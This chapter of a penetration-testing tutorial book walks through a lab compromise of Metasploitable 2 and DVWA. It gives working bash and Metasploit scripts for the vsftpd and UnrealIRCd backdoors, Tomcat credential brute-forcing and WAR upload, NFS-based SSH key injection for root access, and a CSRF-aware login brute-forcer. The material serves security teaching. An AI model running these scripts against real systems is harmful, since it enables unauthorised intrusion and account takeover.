Skip to content
ImagineWorld

End-to-End Penetration Testing Projects

node_idnode-book_linux-shell-scripting-for-hackers_chapter-12-end-to-end-penetration-testing-projects
node_typechapter-node
schema_profileworld.chapter_node.v1
statusactive
entropyhigh
manifoldworld
domainimagineworld.net
authorityinforms
layercorpus
chapter_num12
chapter_titleEnd-to-End Penetration Testing Projects
governed_byCORPUS
constitutional_citationCONSTITUTION
local graph

Chapter 12 — End-to-End Penetration Testing Projects

Section titled “Chapter 12 — End-to-End Penetration Testing Projects”

At this stage, you’ve mastered the individual components, including automating network scans, exploiting vulnerabilities, and scripting post-exploitation tasks. Now it’s time to combine those skills into a complete engagement.

Penetration testing follows a structured methodology where each phase builds on the previous one. In this chapter, you’ll perform a full assessment against the Metasploitable machine, simulating an internal network compromise. You’ll plan your approach, execute each phase methodically, and document your findings as part of a complete end-to-end test.

This chapter focuses on practical application. You’ll work through realistic scenarios, applying reconnaissance, exploitation, and post-exploitation techniques in a controlled environment. By the end, you’ll be able to conduct a full penetration test using bash scripts and the tools covered throughout this book.

In this chapter, we are going to cover the following topics:

  • An internal network compromise
  • A vulnerable web application
  • Using a bash script for high security

Each project is designed to give you a holistic view of penetration testing. It’s time to see how scripts, tools, and techniques combine into a methodical, repeatable testing process. You’ll write and use scripts at each stage, optimizing your workflows to increase efficiency and accuracy.

As we move forward, keep in mind that penetration testing is as much about creativity as it is about method. You may not always follow a perfect script; part of your job as a hacker is to adapt to the environment, identify new attack vectors, and outsmart defenses. In these projects, you’ll need to think critically, test various approaches, and use scripting to automate as much as possible. Your goal? Complete control of the target—ethically, of course.

So, let’s dive in and start hacking.

To follow along in this chapter, you will need the following:

  • Kali Linux
  • Metasploitable 2
  • A code editor of your choice i.e. Microsoft visual studio code

If you do not have all these requirements, please read Chapter 2 to get them.

The code for this chapter is in this book’s GitHub repository.

In this scenario, we will simulate an attack on an internal network, focusing on identifying vulnerabilities, escalating privileges, and maintaining persistence. The goal is to gain complete control of the target machine, step by step, starting with reconnaissance and moving through exploitation and post-exploitation tasks.

The first step in our penetration test is reconnaissance. To begin, we’ll scan all open ports on the Metasploitable 2 machine that we set up in Chapter 2. We’ll use nmap to accomplish this.

Run the following command in your Kali Linux terminal. Be sure to replace the IP with your Metasploitable box IP:

nmap -p- -sV 192.168.52.102

This command scans all 65,535 ports (-p-) and attempts to identify the versions of services running on those ports (-sV). After the scan is complete, you see the following output:

nmap -p- -sV 192.168.52.102
Starting Nmap 7.94SVN ( <https://nmap.org> ) at 2024-10-06 10:22 EDT
Nmap scan report for 192.168.52.102
Host is up (0.010s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
...
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
33719/tcp open nlockmgr 1-4 (RPC #100021)
41106/tcp open mountd 1-3 (RPC #100005)
43303/tcp open java-rmi GNU Classpath grmiregistry
57721/tcp open status 1 (RPC #100024)
Service Info: Hosts: metasploitable.localdomain, metasploitable2, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 191.19 seconds

This tells us that the target machine is running several services, including FTP on port 21, SSH on port 22, and a web server on port 80.

After understanding the manual process, you can automate this scan using a bash script to save the output for later analysis.

#!/bin/bash
# Automated Nmap scan
target_ip="192.168.52.102"
echo "Starting Nmap scan on $target_ip..."
nmap -p- -sV $target_ip -oN metasploitable_scan.txt
echo "Scan complete. Results saved in metasploitable_scan.txt."

This script runs the same scan and saves the output in a file for future reference.

After running our Nmap scan and identifying the services and versions on the target machine, the next step is to search for known vulnerabilities. We can use SearchSploit, a tool that helps find public exploits based on software versions. However, as you’ll soon realize, manually looking up each service can be time-consuming. Let’s first go through the manual process, and then we’ll see how automation can save us a lot of time.

From our Nmap scan, you have noticed several services running. We can manually use searchsploit to find potential exploits for each service version. For example:

$ searchsploit vsftpd 2.3.4
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title
| Path
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execution
| unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
| unix/remote/17491.rb
-------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Looking for openssh exploits:

$ searchsploit openssh 4.7p1
...OpenSSH 2.3 < 7.7 - Username Enumeration
| linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)
| linux/remote/45210.py
OpenSSH < 6.6 SFTP (x64) - Command Execution
| linux_x86-64/remote/45000.c
...
Shellcodes: No Results

Here, too, you might get several potential exploits.

You can repeat this process for other services, such as MySQL 5.0.51a, Samba smbd 3.X, and so on.

Note

The vsftpd 2.3.4 backdoor is a legacy vulnerability included in Metasploitable2 for educational purposes. It is rarely found in modern environments. Real-world assessments require verifying current versions and identifying applicable vulnerabilities based on up-to-date software and patch levels.

As you’ve probably noticed, manually running each version against searchsploit can quickly become tedious, especially when you’re dealing with multiple services like we are here. The more services and versions you encounter, the more time you’ll spend running commands and interpreting results. Not to mention, this repetitive process increases the chance of missing something important.

To make this task faster and more efficient, we can automate it with a simple bash script.

To save time, let’s write a script that reads our Nmap scan output, extracts the service names and versions, and automatically runs searchsploit for each one.

#!/bin/bash
# Script to automate exploit search based on Nmap output
# Our saved nmap scan results
nmap_output="metasploitable_scan.txt"
# Extract services and versions from Nmap output
grep -Eo '[0-9]+/tcp +open +[a-zA-Z0-9]+ +[a-zA-Z0-9./-]+' $nmap_output | while read line; do
service=$(echo $line | awk '{print $3}')
version=$(echo $line | awk '{print $4, $5, $6}')
echo "Searching exploits for $service $version..."
searchsploit "$service $version"
done

This script will:

  • Extract the service names and their versions from the Nmap output.
  • Automatically run searchsploit for each detected service and version.
  • Output the results directly to your terminal.

With this script, what would have taken you several minutes (or more) of manual effort is now reduced to a single, automated task. Not only does this save time, but it also ensures you don’t overlook any services or versions.

From our searchsploit results, we know that the version of vsftpd running on the target machine (2.3.4) contains a well-known backdoor vulnerability.

vsftpd 2.3.4 - Backdoor Command Execution |unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) |unix/remote/17491.rb

SearchSploit shows us that we can exploit this vulnerability using either Python or Metasploit.

Let’s use the Metasploit module to exploit this vulnerability.

  1. First, open Metasploit:
    msfconsole
  2. Search for the exploit in Metasploit:
    msf6 > search vsftpd 2.3.4

You should see the following output.

Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
  1. Interact with a module by name or index. For example, info 0, use 0, or use exploit/unix/ftp/vsftpd_234_backdoor.
  2. Now, use the exploit module:
    use exploit/unix/ftp/vsftpd_234_backdoor
    set RHOST 192.168.52.102
    exploit
  3. Metasploit will attempt to exploit the backdoor in vsftpd. If successful, it will spawn a root shell:
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
    [*] 192.168.52.102:21 - Banner: 220 (vsFTPd 2.3.4)
    [*] 192.168.52.102:21 - USER: 331 Please specify the password.
    [+] 192.168.52.102:21 - Backdoor service has been spawned, handling...
    [+] 192.168.52.102:21 - UID: uid=0(root) gid=0(root)
    [*] Found shell.
    [*] Command shell session 1 opened (192.168.52.101:35537 -> 192.168.52.102:6200) at 2024-10-06 11:23:02 -0400
    whoami
    root

We now have a shell on the target machine with root privileges. This means we have full control of the system.

To automate this process, we can write a simple bash script that automates launching Metasploit and running the vsftpd exploit:

#!/bin/bash
msfconsole -x "search vsftpd 2.3.4; use 0; set RHOST 192.168.52.102; run"

This script will open Metasploit, search for the vsftpd exploit, use the exploit, and run it automatically. You’ll have a root shell without needing to manually interact with Metasploit.

The next challenge for you is to exploit the vsftpd vulnerability using the Python exploit provided by searchsploit. Try automating the Python-based exploit and see if you can achieve the same result.

Let’s now explore another way to gain access to the target system by exploiting a different service that is running: Apache Tomcat on port 8180.

During our Nmap service scan, we identified Apache Tomcat running on port 8180. Tomcat is commonly targeted due to weak configurations and default credentials, making it an excellent target for penetration testing. However, this particular version of Tomcat requires authentication before we can exploit it, so we will first attempt to brute-force the login credentials.

Metasploit provides us with auxiliary modules that allow us to enumerate and brute-force these credentials before deploying our exploit.

First, we’ll use the tomcat_enum module to enumerate potential usernames on the Tomcat Manager application.

  1. Open Metasploit and load the tomcat_enum module:
    msfconsole
    use auxiliary/scanner/http/tomcat_enum
  2. Set the target machine’s IP address and the correct URI:
    set RHOST 192.168.52.102
    set TARGETURI /manager
    set RPORT 8180
  3. Run the enumeration to discover potential usernames:
    run
    [+] <http://192.168.52.102:8180/manager> - Apache Tomcat cxsdk found
    [*] <http://192.168.52.102:8180/manager> - Apache Tomcat - Trying name: 'ADMIN'
    [+] <http://192.168.52.102:8180/manager> - Apache Tomcat ADMIN found
    [*] <http://192.168.52.102:8180/manager> - Apache Tomcat - Trying name: 'xampp'
    [+] <http://192.168.52.102:8180/manager> - Apache Tomcat xampp found
    [+] <http://192.168.52.102:8180/manager> - Users found: ADMIN, QCC, admin, both, cxsdk, j2deployer, manager, ovwebusr, role, role1, root, tomcat, xampp
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

We now have a list of usernames associated with the Tomcat Manager application, including the common default username, tomcat.

Step 2 – Brute-forcing login with discovered usernames

Section titled “Step 2 – Brute-forcing login with discovered usernames”

Next, we’ll attempt to brute-force the login with the tomcat_mgr_login module using the username tomcat.

  1. Load the tomcat_mgr_login auxiliary module:
    use auxiliary/scanner/http/tomcat_mgr_login
  2. Set the target and the username we want to test:
    set RHOST 192.168.52.102
    set TARGETURI /manager
    set USERNAME tomcat
    set RPORT 8180
  3. Run the brute-force login attempt:
    run
    msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit
    [!] No active DB -- Credential data will not be saved!
    [-] 192.168.52.102:8180 - LOGIN FAILED: tomcat:admin (Incorrect)
    [-] 192.168.52.102:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
    [-] 192.168.52.102:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
    [-] 192.168.52.102:8180 - LOGIN FAILED: tomcat:root (Incorrect)
    [+] 192.168.52.102:8180 - Login Successful: tomcat:tomcat

Now that we’ve successfully brute-forced the login with the default credentials, tomcat:tomcat, we can move on to the exploitation phase.

With valid credentials in hand, we can now use the tomcat_mgr_upload exploit module to upload a malicious WAR file and gain a shell on the target system.

  1. Load the tomcat_mgr_upload exploit module:
    use exploit/multi/http/tomcat_mgr_upload
  2. Set the target IP, port, URI, and the credentials we discovered:
    set RHOST 192.168.52.102
    set RPORT 8180
    set TARGETURI /manager
    set HttpUsername tomcat
    set HttpPassword tomcat
  3. Run the exploit:
    run

If successful, the payload will be deployed, and you’ll gain a shell on the target system.

Let’s now look at how we can automate it.

Automating Apache Tomcat exploit with bash

Section titled “Automating Apache Tomcat exploit with bash”

Now that we’ve manually exploited Apache Tomcat using Metasploit, let’s automate the process with a bash script. This script will automate the steps of enumerating users, brute-forcing the login, and exploiting the target using Metasploit. It will configure the necessary parameters and execute the exploit to gain a shell.

#!/bin/bash
# Automated Tomcat Manager Exploit using Metasploit
target_ip="192.168.52.102"
target_port="8180"
target_uri="/manager"
username="tomcat"
password="tomcat"
echo "Starting Metasploit to brute-force and exploit Apache Tomcat on $target_ip:$target_port..."
msfconsole -x "
use auxiliary/scanner/http/tomcat_enum;
set RHOST $target_ip;
set TARGETURI $target_uri;
set RPORT $target_port;
run;
use auxiliary/scanner/http/tomcat_mgr_login;
set RHOST $target_ip;
set TARGETURI $target_uri/html;
set USERNAME $username;
set RPORT $target_port;
run;
use exploit/multi/http/tomcat_mgr_upload;
set RHOST $target_ip;
set RPORT $target_port;
set TARGETURI $target_uri;
set HttpUsername $username;
set HttpPassword $password;
run;
exit"

In this script:

  1. We define variables for the target IP address, port, the URI for Tomcat Manager, and the default Tomcat credentials (tomcat:tomcat).
  2. The script first runs the tomcat_enum module to enumerate possible usernames.
  3. It then switches to the tomcat_mgr_login module to brute-force the login using the discovered username (tomcat).
  4. After successfully brute-forcing the login, it uses the tomcat_mgr_deploy exploit module to deploy a WAR file and gain a shell on the target system.

This script automates all the steps of enumerating, brute-forcing, and exploiting Apache Tomcat, eliminating the need for manual interaction at each stage. By using this automation, you streamline the process, allowing you to focus on other aspects of your penetration test.

Exploiting port 6667 – UnreallRCd backdoor

Section titled “Exploiting port 6667 – UnreallRCd backdoor”

One of the more interesting services running on Metasploitable 2 is UnreallRCd, an Internet Relay Chat (IRC) daemon, which is listening on port 6667. This specific version of UnreallRCd contains a backdoor that allows an attacker to execute arbitrary system commands by sending a specially crafted string. This backdoor went unnoticed for months before being discovered, making it a valuable target for penetration testers and ethical hackers.

The vulnerability is triggered by sending the string "AB" followed by a system command to the server on any listening port. Metasploit includes a dedicated module to exploit this vulnerability, allowing us to gain an interactive shell on the target system.

Let’s walk through the steps required to exploit this backdoor and gain root access to the target system.

  1. Start by launching Metasploit:
    msfconsole
  2. Next, load the UnreallRCd backdoor exploit module:
    use exploit/unix/irc/unreal_ircd_3281_backdoor
  3. Set the payload for the exploit:
    set payload cmd/unix/bind_ruby
  4. Set the target IP address (RHOST), which in this case is the IP of your Metasploitable box:
    set RHOST 192.168.52.102
  5. Finally, run the exploit:
    exploit
  6. Metasploit will connect to the IRC daemon on port 6667, trigger the backdoor, and open an interactive shell.
    [*] 192.168.52.102:6667 - Connected to 192.168.52.102:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    [*] 192.168.52.102:6667 - Sending backdoor command...
    [*] Started bind TCP handler against 192.168.52.102:4444
    ls
    [*] Command shell session 1 opened (192.168.52.101:34589 -> 192.168.52.102:4444) at 2024-10-06 16:06:51 -0400
  7. Once the session is open, you can execute system commands. Running id will show that you have root access on the system:
    id
    Expected Output:
    uid=0(root) gid=0(root)

This confirms that you’ve successfully gained root access via the UnreallRCd backdoor. From here, you can execute additional commands to further explore or exploit the system.

Automating the UnreallRCd exploit with bash

Section titled “Automating the UnreallRCd exploit with bash”

Just like the previous examples, we can automate the exploitation of the UnreallRCd backdoor using a bash script that interacts with Metasploit. This script will automate launching Metasploit, loading the unreal_ircd_3281_backdoor module, setting the target IP, and running the exploit to gain a shell.

#!/bin/bash
# Automating UnrealIRCD Exploit using Metasploit
target_ip="192.168.52.102"
echo "Starting Metasploit to exploit UnrealIRCD on $target_ip..."
msfconsole -x "
use exploit/unix/irc/unreal_ircd_3281_backdoor;
set payload cmd/unix/bind_ruby;
set RHOST $target_ip;
run;
exit"

This script sets the target IP (RHOST) to the specified IP address and then uses Metasploit to exploit the UnreallRCd backdoor. Once executed, the script will automatically give you a command shell on the target system.

By using this approach, we can streamline the exploitation process and save time, especially when conducting multiple penetration tests or working with various targets. Automating these steps not only reduces manual effort but also ensures consistency across testing environments.

Privilege escalation - exploiting port 2049 – Network File System (NFS)

Section titled “Privilege escalation - exploiting port 2049 – Network File System (NFS)”

One of the most intriguing services running on the Metasploitable 2 machine is the NFS, which listens on port 2049. NFS allows for file sharing between systems over a network. In this case, we’ll use NFS to escalate our privileges and gain root access on the target machine by taking advantage of an improperly secured export.

We can identify NFS through our earlier Nmap scan or by directly probing the port using rpcinfo. This command allows us to gather information about the available services, including NFS. We’ll also use showmount to see which directories are being exported. If we find a writable export, we can manipulate it to gain access.

First, we’ll use rpcinfo to get a list of services running on the target machine, and then we’ll use showmount to see which directories are shared.

  1. Run rpcinfo to list services:
    $rpcinfo -p 192.168.52.102
    program vers proto port service
    100000 2 tcp 111 portmapper
    100000 2 udp 111 portmapper
    100024 1 udp 47180 status
    100024 1 tcp 57721 status
    100003 2 udp 2049 nfs
    100003 3 udp 2049 nfs
    100003 4 udp 2049 nfs
    100021 1 udp 51172 nlockmgr
    100021 3 udp 51172 nlockmgr
    100021 4 udp 51172 nlockmgr
    100003 2 tcp 2049 nfs
    100003 3 tcp 2049 nfs
    100003 4 tcp 2049 nfs
    100021 1 tcp 33719 nlockmgr
    100021 3 tcp 33719 nlockmgr
    100021 4 tcp 33719 nlockmgr
    100005 1 udp 57665 mountd
    100005 1 tcp 41106 mountd
    100005 2 udp 57665 mountd
    100005 2 tcp 41106 mountd
    100005 3 udp 57665 mountd
    100005 3 tcp 41106 mountd

This output confirms that NFS is running on port 2049.

  1. Next, check which directories are exported using showmount:
    $ showmount -e 192.168.52.102
    Export list for 192.168.52.102:
    / *

The / share, which is the root of the file system, is being exported.

This means that we have access to the root directory of the target machine, and, if it’s writable, we can manipulate files on the system.

Step 2 – Gaining access by adding an SSH key

Section titled “Step 2 – Gaining access by adding an SSH key”

Now that we’ve identified the / export, we’ll use it to escalate privileges. The plan is to generate a new SSH key on our attacking machine, mount the NFS share, and add our public key to the authorized_keys file for the root user. This will allow us to SSH into the target system as root without a password.

  1. Generate a new SSH key pair on your attacking machine:
    $ sudo su
    $ ssh-keygen -t
    ssh-keygen -t rsa
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa):
    Enter passphrase (empty for no passphrase):
    Enter same passphrase again:
    Your identification has been saved in /root/.ssh/id_rsa
    Your public key has been saved in /root/.ssh/id_rsa.pub
    The key fingerprint is:
    SHA256:KRzUeJJrfouh1pPtfii8jgFjtOJG821NXlH85LPzw2s root@kali
    The key's randomart image is:
    +---[RSA 3072]----+
    | .+ .. |
    | .+ o .. . |
    | . .+ . + |
    | . . .o. .. + |
    |.o= oo.S. o |
    |oooo. *.o o |
    | o ..* O o + |
    |. +oB + . E |
    | ...o*o. ..o|
    +----[SHA256]-----+

When prompted, leave the passphrase blank.

  1. Create a directory to mount the NFS export:
    mkdir /tmp/nfs_mount
  2. Mount the NFS export to the directory you just created:
    $ sudo mount -t nfs -o vers=3 192.168.52.102:/ /tmp/nfs_mount
    Created symlink '/run/systemd/system/remote-fs.target.wants/rpc-statd.service' → '/usr/lib/systemd/system/rpc-statd.service'.

This gives you access to the root file system of the target machine.

  1. Add your public key to the root user’s authorized_keys file on the target system:
    $ cat ~/.ssh/id_rsa.pub >> /tmp/nfs_mount/root/.ssh/authorized_keys

This command appends your public SSH key to the authorized_keys file, granting you SSH access as root.

  1. Unmount the NFS share:
    umount /tmp/nfs_mount

Now that your SSH key has been added to the target system, you can SSH into the machine as root:

If successful, you’ll be logged in as the root user on the target machine:

root@metasploitable:~#

You now have full root access to the target system, which you can use to further explore or secure the machine.

Now that we’ve manually exploited NFS to gain root access by adding our SSH key, let’s automate the entire process using a bash script. This script will automate generating the SSH key, mounting the NFS export, injecting the SSH key into the authorized_keys file, and unmounting the NFS share. Finally, it will attempt an SSH login as the root user.

  1. Let’s start with an automated NFS exploit for gaining root access:
    #!/bin/bash
    target_ip="192.168.99.131"
    mount_point="/tmp/nfs_mount"
    ssh_dir="/root/.ssh"
    key_path="$HOME/.ssh/id_rsa"
  2. Next, we generate the SSH key. The script first checks if an SSH key already exists (id_rsa). If not, it generates a new one using ssh-keygen.
    if [ ! -f "$key_path" ]; then
    echo "Generating SSH key..."
    ssh-keygen -t rsa -f "$key_path" -N "" # No passphrase
    fi
  3. Create a directory to mount the NFS export. We create a mount point (/tmp/nfs_mount) and mount the NFS export from the target.
    echo "Creating mount point at $mount_point..."
    mkdir -p $mount_point
  4. Mount the NFS share.
    echo "Mounting NFS export from $target_ip..."
    mount -t nfs $target_ip:/ $mount_point
  5. Insert SSH public key into the target’s authorized_keys. The script appends the public key to the authorized_keys file in the target’s /root/.ssh directory, giving us root SSH access.
    echo "Adding SSH public key to $target_ip..."
    cat $key_path.pub >> $mount_point/root/.ssh/authorized_keys
  6. After the key has been added, unmount the NFS share to clean up.
    echo "Unmounting NFS share..."
    umount $mount_point
  7. Finally, the script attempts an SSH login as the root user on the target machine using the generated SSH key.
    echo "Attempting SSH login as root on $target_ip..."
    ssh -i $key_path root@$target_ip

This bash script automates the exploitation process from start to finish, streamlining tasks that were previously done manually. This is especially useful when working on multiple targets or when repeating the same steps in different environments.

Note

This technique works by writing a new SSH public key into /root/.ssh/authorized_keys on the target through the NFS mount. In a professional engagement, you must clean up after validation. Remove the injected key from authorized_keys, and confirm that the NFS mount point is unmounted and that no temporary artifacts remain (for example, /tmp/nfs_mount).

Unfortunately, we can’t cover every service in detail, but now that you’ve seen the methodology for exploiting and automating a few services, it’s time to take on a challenge. Try to exploit and automate the services we didn’t cover here, using the same principles and techniques. Think critically about the vulnerabilities you’ve uncovered and push yourself to find creative solutions.

Now, let’s move on to the next section.

Metasploitable 2 comes preloaded with a vulnerable web application called Damn Vulnerable Web Application (DVWA), which is specifically designed for testing and improving your skills in exploiting web-based vulnerabilities. This application contains several intentionally insecure features, giving you the opportunity to learn about various web application attacks in a controlled environment. Let’s dive in and explore how we can exploit DVWA.

To access DVWA, open your browser and navigate to the following URL: http://192.168.52.102/dvwa/. The default login credentials are admin for the username and password for the password.

Once logged in, navigate to the Brute Force section, where you’ll see a login form. This is where we’ll start our exploration:

Figure 12.1 – Brute-forcing login page

Figure 12.1 – Brute-forcing login page

If we had all the time in the world, we could manually attempt various username and password combinations, hoping to guess the correct credentials. However, this approach is far from practical. Instead, we can automate the brute-force attack using a bash script.

Before automating, we need to collect some critical information: the cookies used by the web application, the input fields from the login form, and the endpoint URL that handles the login requests.

To automate the process, we first need to capture the cookies from the application. Open the developer tools in your browser (in Firefox, press ctrl + shift + I). Navigate to the Storage tab, where you’ll find the cookies that the web application is using:

Figure 12.2 – Cookies and session ID

Figure 12.2 – Cookies and session ID

Next, we need to identify the form fields used for login. Still in the developer tools, switch to the Inspector tab and locate the source code of the form. Note the names of the input fields for the username, password, and the submission button, as we’ll need these to craft our requests:

Figure 12.3 – Form source code

Figure 12.3 – Form source code

Additionally, make sure to note the form’s endpoint URL, which you can find in the browser’s URL bar. For this example, it would be http://192.168.52.102/dvwa/vulnerabilities/brute/.

Now that we have all the required information—cookies, input field names, and the endpoint URL—we can move on to automating the brute-force attack using Wfuzz and, finally, a bash script.

Let’s begin by setting the DVWA security level to low. You can change the security level of DVWA here (http://192.168.52.102/dvwa/security.php). At this level, DVWA uses a simple GET request for login authentication, which makes it vulnerable to brute force attacks.

At low security, DVWA intentionally uses a simple GET request for authentication. This means the username and password are sent directly in the URL, making them visible in browser history, logs, and network traffic.

This behavior is deliberately insecure and exists only for educational purposes. In properly designed production systems, login forms use POST requests and never expose credentials in the URL.

When we submit the username and password, we notice that the login form is using a standard GET request to send credentials to the server. This means that the login parameters, username and password are visible in the URL, making it easier to construct a brute force attack.

With the security level set to low, Wfuzz can easily brute-force the login page by sending multiple GET requests with different passwords from our wordlist. We also need to include the session cookie to stay authenticated while making the login attempts.

We’ll use Wfuzz with the following command:

wfuzz --hw 210 -c -w /usr/share/wordlists/rockyou.txt -b 'security=low; PHPSESSID=3525c7fbfe689c7fb88fa6258d9f5789' '<http://192.168.52.102/dvwa/vulnerabilities/brute/index.php?username=admin&password=FUZZ&Login=Login>'

In this command:

  • --hw 210: This option filters responses by their size. In this case, we are hiding responses with a length of 210 characters (failed login responses). This leaves only responses with a different size, which could indicate a successful login.
  • -c: This option enables colored output, making it easier to distinguish the results.
  • -w /usr/share/wordlists/rockyou.txt: This specifies the wordlist being used for the fuzzing (password brute-forcing).
  • -b 'security=low; PHPSESSID=cnavt4393pg4r1k36q2p7h3ec': The b option sends cookies with the request. Here, the PHPSESSID cookie maintains your session, and security=low ensures that you are working within the low security setting of DVWA.
  • http://192.168.52.102/dvwa/vulnerabilities/brute/index.php?username=admin&password=FUZZ&Login=Login: This is the target URL, where FUZZ is the placeholder for the passwords being tested from the wordlist.

Wffuz works effectively at low security and finds the correct credentials quickly.

Next, we increase the security level to medium. While the login form still uses GET requests, there is now a noticeable delay in response times when a wrong password is submitted. This delay, typically around 2–3 seconds, is intended to slow down brute force attacks.

Even with this delay, Wfuzz can still be used to brute-force the login, but the process takes significantly longer. We run Wfuzz again with the updated security setting and session cookie:

wfuzz --hw 210 -c -w /usr/share/wordlists/rockyou.txt -b 'security=medium; PHPSESSID=3525c7fbfe689c7fb88fa6258d9f5789' '<http://192.168.52.102/dvwa/vulnerabilities/brute/index.php?username=admin&password=FUZZ&Login=Login>'

Wfuzz successfully completes the attack despite the delay.

Although it works, you’ll notice the brute force attack takes significantly longer because of the artificial delay introduced by the application at medium security.

Now, let’s switch the security level to high. At this level, DVWA introduces a critical defense mechanism: the use of a Cross-Site Request Forgery (CSRF) token (user_token) to prevent automated attacks like brute-forcing. Every time a login request is submitted, the user_token must be included in the request, and it changes with each submission.

This makes Wfuzz ineffective because it cannot easily extract and include a dynamic CSRF token in each request.

At high security, DVWA introduces a CSRF token called user_token. This token must be included with every login request.

The user_token is:

  • Tied to the current session
  • Generated dynamically
  • Updated after each request

If the token is missing or outdated, the request is rejected before authentication even occurs.

Because the token changes on every submission, static brute-force tools like Wfuzz fail. They replay the same request structure repeatedly and cannot dynamically extract and update the token between attempts.

This means the attack no longer fails because of incorrect credentials; it fails because the request itself is invalid.

To bypass this, we need automation that understands and adapts to the application’s behavior. That’s where a custom bash script becomes necessary.

At high security, we need a custom solution to extract the CSRF token (user_token) dynamically with each login attempt. Let’s walk through the steps of creating this brute-force script for the DVWA brute-force vulnerability. Each part of the script serves a specific purpose, and we’ll go through it step by step, so you understand how to customize or enhance it for future projects.

  1. We need to define the target URL for the brute force attack and set the necessary headers, including the cookie. The cookie is essential for maintaining an authenticated session, and it includes details like the security level and the PHPSESSID.
    # Set the target URL
    url="<http://192.168.52.102/dvwa/vulnerabilities/brute/>"
    # Set the headers (replace with the actual cookies from your session)
    cookie="security=high; PHPSESSID=3525c7fbfe689c7fb88fa6258d9f5789"

In this step, you replace the session cookie (PHPSESSID) with the actual value from your browser, as we discussed earlier when inspecting the application.

  1. DVWA includes a security feature where each login request must include a user_token —a unique value tied to your session. Before attempting any login requests, we need to extract this user_token from the page’s HTML.
    # Function to get user_token
    get_user_token() {
    response=$(curl -s -H "Cookie: $cookie" "$url")
    user_token=$(echo "$response" | grep -oP '(?<=name="user_token" value=").+?(?=")')
    echo "$user_token"
    }

Here, we use curl to send a GET request to the target URL, fetch the HTML response, and extract the user_token using grep. This token will be sent with each login request, so we capture it initially and update it after each login attempt.

  1. Next, we specify the path to the wordlist we’ll be using for the brute force attack. In this example, we’re using the rockyou.txt wordlist, a common wordlist available on Kali Linux and other pentesting environments.
    # Path to the wordlist
    wordlist="/usr/share/wordlists/rockyou.txt"

Make sure the path is correct. If your wordlist is stored somewhere else, update the path accordingly.

  1. We then create a loop to read each password from the wordlist and use it in a login attempt. The while loop reads through the wordlist, sending a login request for each password.
    # Read the wordlist and try to log in with each password
    while IFS= read -r password || [[ -n "$password" ]]; do
    # Clean the password string
    password=$(echo "$password" | tr -d '\r')
    echo "Checking password: $password"

This part reads each password and removes any carriage returns (\r), ensuring that the password string is clean.

  1. For each password, the script sends a login request to DVWA using curl. The necessary parameters—username, password, Login button, and user_token —are all sent as part of the GET request.
    # Send a request with the current password
    response=$(curl -s -G -H "Cookie: $cookie" \
    --data-urlencode "username=admin" \
    --data-urlencode "password=$password" \
    --data-urlencode "Login=Login" \
    --data-urlencode "user_token=$user_token" \
    "$url")

Here, we’re brute-forcing the admin account, and we pass the username, password, Login button, and user_token as part of the request.

  1. Once the response is received, the script checks if the login was successful by searching for the word "Welcome" in the response. If found, the script prints the successful credentials and exits the loop.
    # Check for the welcome message in the response
    if echo "$response" | grep -q "Welcome"; then
    echo "LoggedIn: username: admin , password: $password ===found==="
    break
    fi

This condition assumes that a successful login displays a message containing the word "Welcome". If you notice different behavior in the DVWA interface, you may need to adjust this to match the success message.

  1. After each attempt, DVWA may issue a new user_token. To handle this, the script extracts the new token from the response and updates it for the next iteration.
    # Get the new user_token for the next request
    user_token=$(echo "$response" | grep -oP '(?<=name="user_token" value=").+?(?=")')
    done < "$wordlist"

This ensures that the script remains in sync with the application’s security measures, successfully cycling through tokens during the brute-force process.

By following this step-by-step breakdown, you can see how the entire brute-force process is automated, allowing bash to handle the login attempts using the provided wordlist. You can further customize this script by changing the wordlist, cookie values, or the success criteria to fit other applications or scenarios.

You can find the full script in our GitHub repository.

Now that we have our script, it’s time to test it:

./brute.sh
Checking password: 123456
Checking password: 12345
Checking password: 123456789
Checking password: password
LoggedIn: username: admin , password: password ===found===

The script stops once it detects a successful login and prints the discovered credentials. In this example, the password successfully authenticated the admin account on DVWA running in high security mode. This confirms that the script correctly handled CSRF token extraction and session management during each request.

Keep in mind that DVWA is intentionally vulnerable and designed for educational purposes. Modern production systems typically implement additional protections, such as account lockouts, rate limiting, or multi-factor authentication, that would mitigate this type of brute force attack.

Unlike Wfuzz, our custom bash script handles the dynamic user_token:

  1. Extracting the user_token: Before each login attempt, the script fetches the current user_token using curl and updates it for the next request.
  2. Submitting the login request: The script includes the user_token with each login request, ensuring the request is valid.
  3. Checking for success: After submitting the request, the script checks for a success message (e.g., Welcome) and breaks the loop once the correct credentials are found.

This illustrates how web applications can become more secure as their security levels increase, requiring more advanced techniques for successful exploitation.

To wrap up this chapter and the entire book, it’s essential to reflect on the journey we’ve taken and what lies ahead for you as a penetration tester. You’ve explored a variety of techniques—from network reconnaissance to vulnerability exploitation and automation—all of which are critical components in today’s security landscape. But learning these skills is just the beginning. The real challenge lies in applying them in creative ways, adapting to different environments, and continuously evolving as technology does.

